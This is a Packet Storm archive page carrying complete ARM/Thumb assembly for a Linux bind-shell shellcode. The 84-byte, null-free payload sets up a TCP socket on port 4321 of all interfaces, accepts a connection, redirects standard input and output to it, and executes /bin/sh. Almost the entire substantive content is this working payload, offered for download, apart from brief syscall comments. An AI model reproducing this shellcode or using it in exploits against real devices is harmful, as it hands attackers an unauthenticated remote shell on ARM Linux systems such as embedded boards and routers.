what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/ARM Bindshell Shellcode

Linux/ARM Bindshell Shellcode
Posted Jan 29, 2019
Authored by Gokul Babu

84 bytes small Linux/ARM TCP bindshell shellcode that binds to port 4321.

tags | tcp, shellcode
systems | linux
SHA-256 | 6675c4fdce11ca644750bc1ad1b0f09cb68100fc6b8fa9a65cf89532da05f2c0

Linux/ARM Bindshell Shellcode

Change Mirror Download
/*
* Title: Linux/ARM - Bind_Shell Shellcode TCP (/bin/sh). Null free shellcode 0.0.0.0:4321 (84 bytes)
*Author: Gokul Babu-https://www.linkedin.com/in/gokul-babu-452b3b112/
* Tested: armv7l (Raspberry Pi b3+)
* Date: 2019-01-28
*/

/*socket-281, domain=2,type=1,protocol=0*/
/*bind-282 sockfd=final result of socket,&addr=struct,adrlen=16*/
/*listen-284,sockfd=id value-r4,backlog=1/2*/
/*accept-285,sockfd=id,&addr=0,addrlen=0*/
/*dup2-63,sockfd=final result of accept r4<-r0=4,newfd=0,1,2*/
/*execve-11,execv="/bin/sh",0,0*/

.section .text
.global _start
_start:
.ARM
add r3,pc,#1
bx r3
.THUMB
//socket:
mov r0,#2
mov r1,#1
mov r7,#200
add r7,#81
svc #1
mov r4,r0
push {r0,r1,r2} /*r0=3,r1=1,r2=0*/
//bind:
adr r1,struct
strb r2,[r1,#1]
str r2,[r1,#4] /*store r2=0 in IP*/
mov r2,#16
add r7,#1
svc #1
//listen:
pop {r0,r1,r2} /*r0=3,r1=1,r2=0*/
add r7,#2
svc #1
//accept:
mov r0,r4
sub r1,r1
add r7,#1
svc #1
add r0,r0,r2 /*r0=4,r2=0*/
//dup2:
//dup(4,2)
mov r7,#63
//dup(4,1)
mov r1,#1
svc #1
//dup(4,0)
sub r1,#1
svc #1
//execve:
adr r0,exc
strb r2,[r0,#7]
mov r7,#11
svc #1
exc:
.ascii "/bin/shX"
struct:
.ascii "\x02\xff"
.ascii "\x10\xE1" //port 4321
.byte 1,1,1,1 //IP-0.0.0.0
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close